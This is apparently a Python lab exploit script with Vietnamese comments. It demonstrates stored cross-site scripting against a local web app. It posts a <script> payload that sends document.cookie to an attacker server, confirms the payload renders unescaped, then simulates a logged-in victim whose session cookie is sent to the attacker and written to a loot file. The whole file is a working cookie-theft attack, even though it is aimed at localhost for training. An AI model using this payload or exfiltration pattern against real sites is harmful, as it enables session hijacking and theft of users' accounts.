#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit lab 3.2 - Stored XSS trom cookie nan nhan.

Luong:
  1. KE TAN CONG dang mot comment chua payload <script> trom cookie.
  2. Kiem tra payload da duoc LUU va render NGUYEN VAN (chua escape) tren trang.
  3. NAN NHAN (dang nhap, co cookie session) mo trang comment.
     Vi XSS chay trong trinh duyet ma o day khong co GUI, ta MO PHONG nan nhan
     bang mot client python: lay dung payload da luu, thay document.cookie bang
     cookie that cua nan nhan, roi thuc hien dung request ma trinh duyet se gui.
  4. Server ke tan cong (attacker.py, cong 8033) nhan va ghi cookie.

Day la mo phong trung thanh phan "chay" cua payload: phan server (payload duoc
phuc vu nguyen van cho nan nhan) la THAT; request exfil cung la THAT tren mang.
"""
import re
import sys
import urllib.parse
import requests

APP = "http://127.0.0.1:8032"
ATTACKER = "http://127.0.0.1:8033"

# Payload: khi trinh duyet nan nhan render, no tao mot anh tro toi server attacker
# kem document.cookie => cookie bi gui di.
PAYLOAD = ("<script>new Image().src='" + ATTACKER +
           "/steal?c='+encodeURIComponent(document.cookie)</script>")


def simulate_victim_browser(page_html, victim_cookie):
    """Mo phong trinh duyet nan nhan thuc thi <script> da luu.

    Khong co JS engine, ta bat dung hanh vi can minh ho:
      - tim payload Image().src='...'+encodeURIComponent(document.cookie)
      - thay document.cookie = cookie that cua nan nhan
      - gui dung request do (new Image().src = GET anh).
    """
    m = re.search(r"new Image\(\)\.src='([^']+)'\+encodeURIComponent\(document\.cookie\)", page_html)
    if not m:
        print("  [victim] khong thay payload exfil trong trang (khong dinh XSS)")
        return False
    base = m.group(1)
    # document.cookie cua nan nhan:
    document_cookie = "; ".join(k + "=" + v for k, v in victim_cookie.items())
    url = base + urllib.parse.quote(document_cookie)
    print("  [victim] trinh duyet tu dong tai anh: " + url)
    requests.get(url, timeout=5)  # dung nhu new Image().src
    return True


def main():
    s_attacker = requests.Session()
    s_victim = requests.Session()

    print("=" * 70)
    print("[1] KE TAN CONG dang comment chua payload XSS")
    print("    payload: " + PAYLOAD)
    r = s_attacker.post(APP + "/comment", data={"user": "hacker", "text": PAYLOAD}, timeout=5)
    print("    POST /comment -> HTTP " + str(r.status_code) + " (redirect ve /)")

    print("=" * 70)
    print("[2] Kiem tra payload da LUU va render NGUYEN VAN (chua escape)")
    page = requests.get(APP + "/", timeout=5).text
    stored_raw = PAYLOAD in page
    stored_escaped = "&lt;script&gt;" in page
    print("    payload xuat hien nguyen van tren trang?   : " + ("CO" if stored_raw else "KHONG"))
    print("    payload bi escape thanh &lt;script&gt;?     : " + ("CO" if stored_escaped else "KHONG"))
    if not stored_raw:
        print("    => Khong phai stored XSS, dung lai.")
        return 1
    print("    => STORED XSS xac nhan: moi nguoi mo trang deu dinh.")

    print("=" * 70)
    print("[3] NAN NHAN dang nhap va mo trang comment")
    s_victim.get(APP + "/login", timeout=5)  # duoc cap cookie session
    victim_cookie = s_victim.cookies.get_dict()
    print("    cookie nan nhan: " + str(victim_cookie))
    victim_page = s_victim.get(APP + "/", timeout=5).text
    print("    nan nhan tai trang, trang chua payload cua ke tan cong.")
    print("    [mo phong trinh duyet nan nhan thuc thi <script>]")
    ok = simulate_victim_browser(victim_page, victim_cookie)

    print("=" * 70)
    print("[4] Kiem chung server ke tan cong da THU DUOC cookie")
    import os
    loot = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot.txt")
    got = ""
    if os.path.exists(loot):
        with open(loot, encoding="utf-8") as f:
            got = f.read().strip()
    print("    noi dung loot.txt:")
    for line in got.splitlines():
        print("      " + line)
    success = ok and ("victim-session-7f3a9c2b1e" in got)
    print("=" * 70)
    print("TONG KET: " + ("THANH CONG - da trom duoc cookie session cua nan nhan"
                          if success else "THAT BAI"))
    return 0 if success else 1


if __name__ == "__main__":
    sys.exit(main())